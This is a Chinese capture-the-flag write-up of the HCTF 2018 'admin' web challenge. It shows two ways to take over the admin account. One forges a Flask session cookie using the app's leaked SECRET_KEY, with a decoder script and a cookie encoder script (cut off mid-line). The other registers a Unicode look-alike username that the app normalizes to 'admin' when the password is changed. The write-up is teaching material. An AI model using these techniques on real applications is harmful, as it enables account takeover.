[HCTF 2018]admin ——flask session伪造||unicode伪造
-
猜测要么从url栏,要么从注册登录部分注入
-
猜admin的密码 123,对了本题结束。
-
如果按照完整解这个题
-
查看源代码,发现新提示
-
其余没有提示,先注册账号并登录
-
更新了新的change password 和post页面
-
在change password发现新提示
-
注册从bp抓包入手
-
admin不能注册
-
但是发现报文里有session所以不能暴力破解admin的密码
-
解法一:flask session伪造
-
flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
-
session解密脚本
#!/usr/bin/env python3 import sys import zlib from base64 import b64decode from flask.sessions import session_json_serializer from itsdangerous import base64_decode def decryption(payload): payload, sig = payload.rsplit(b'.', 1) payload, timestamp = payload.rsplit(b'.', 1) decompress = False if payload.startswith(b'.'): payload = payload[1:] decompress = True try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception') if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload') return session_json_serializer.loads(payload) if __name__ == '__main__': print(decryption(sys.argv[1].encode()))
-
但是如果想要伪造session还需要SECRET_KEY,在config.py里发现了SECRET_KEY
-
用session加密算法再伪造一个name为admin的session提交试一下
-
加密脚本
#!/usr/bin/env python3 """ Flask Session Cookie Decoder/Encoder """ __author__ = 'Wilson Sumanang, Alexandre ZANNI' # standard imports import sys import zlib from itsdangerous import base64_decode import ast # Abstract Base Classes (PEP 3119) if sys.version_info[0] < 3: # < 3.0 raise Exception('Must be using at least Python 3') elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4 from abc import ABCMeta, abstractmethod else: # > 3.4 from abc import ABC, abstractmethod # Lib for argument parsing import argparse # external Imports from flask.sessions import SecureCookieSessionInterface class MockApp(object): def __init__(self, secret_key): self.secret_key = secret_key if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4 class FSCM(metaclass=ABCMeta): def encode(secret_key, session_cookie_structure): """ Encode a Flask session cookie """ try: app = MockApp(secret_key) session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}".format(e) raise e def decode(session_cookie_value, secret_key=None): """ Decode a Flask cookie """ try: if(secret_key==None): compressed = False payload = session_cookie_value if payload.startswith('.'): compressed = True payload = payload[1:] data = payload.split(".")[0] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else: app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}".format(e) raise e else: # > 3.4 class FSCM(ABC): def encode(secret_key, session_cookie_structure): """ Encode a Flask session cookie """ try: app = MockApp(secret_key) session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}".format(e) raise e def decode(session_cookie_value, secret_key=None): """ Decode a Flask cookie """ try: if(secret_key==None): compressed = False payload = session_cookie_value if payload.startswith('.'): compressed = True payload = payload[1:] data = payload.split(".")[0] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else: app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}".format(e) raise e if __name__ == "__main__": # Args are only relevant for __main__ usage ## Description for help parser = argparse.ArgumentParser( description='Flask Session Cookie Decoder/Encoder', epilog="Author : Wilson Sumanang, Alexandre ZANNI") ## prepare sub commands subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand') ## create the parser for the encode command parser_encode = subparsers.add_parser('encode', help='encode') parser_encode.add_argument('-s', '--secret-key', metavar='
-
得到的session
-
发现服务器只验证了session解密后的user是不是admin ,是则返回flag
-
flag{ae1beceb-d42d-4431-8c1a-3f87803d1152}
-
解法二:Unicode欺骗
-
在route.py文件中发现在修改密码的时候先将name转成小写
-
看一下注册和登录,都用strlower()来转小写,但是python中已经自带转小写函数lower(),看看有什么不一样的
def strlower(username): username = nodeprep.prepare(username) return username
-
这里用的nodeprep.prepare函数,而nodeprep是从Twisted模块导入的,在requirements.txt文件中发现Twisted==10.2.0,而官网最新已经到了19.7.0(2019/9),版本差距很大,应该会存在漏洞。
-
使用nodeprep.prepare函数转换时过程如下ᴬᴰᴹᴵᴺ -> ADMIN -> admin
-
假如我们注册ᴬᴰᴹᴵᴺ用户,然后在用ᴬᴰᴹᴵᴺ用户登录,因为在login函数里使用了一次nodeprep.prepare函数,因此我们登录上去看到的用户名为ADMIN,此时我们再修改密码,又调用了一次nodeprep.prepare函数将name转换为admin,然后我们就可以改掉admin的密码,最后利用admin账号登录即可拿到flag。
-
参考文章:
https://www.cnblogs.com/plf-Jack/p/11105228.html
https://www.cnblogs.com/chrysanthemum/p/11722351.html
https://blog.csdn.net/weixin_44677409/article/details/100733581
HCTF2018-admin三种解法复现:https://blog.csdn.net/weixin_44677409/article/details/100733581
Python Web之flask session&格式化字符串漏洞:https://xz.aliyun.com/t/3569#toc-0
unicode 欺骗:[https://panda1g1.github.io/2018/11/15/HCTF%20admin/](https://panda1g1.github.io/2018/11/15/HCTF admin/)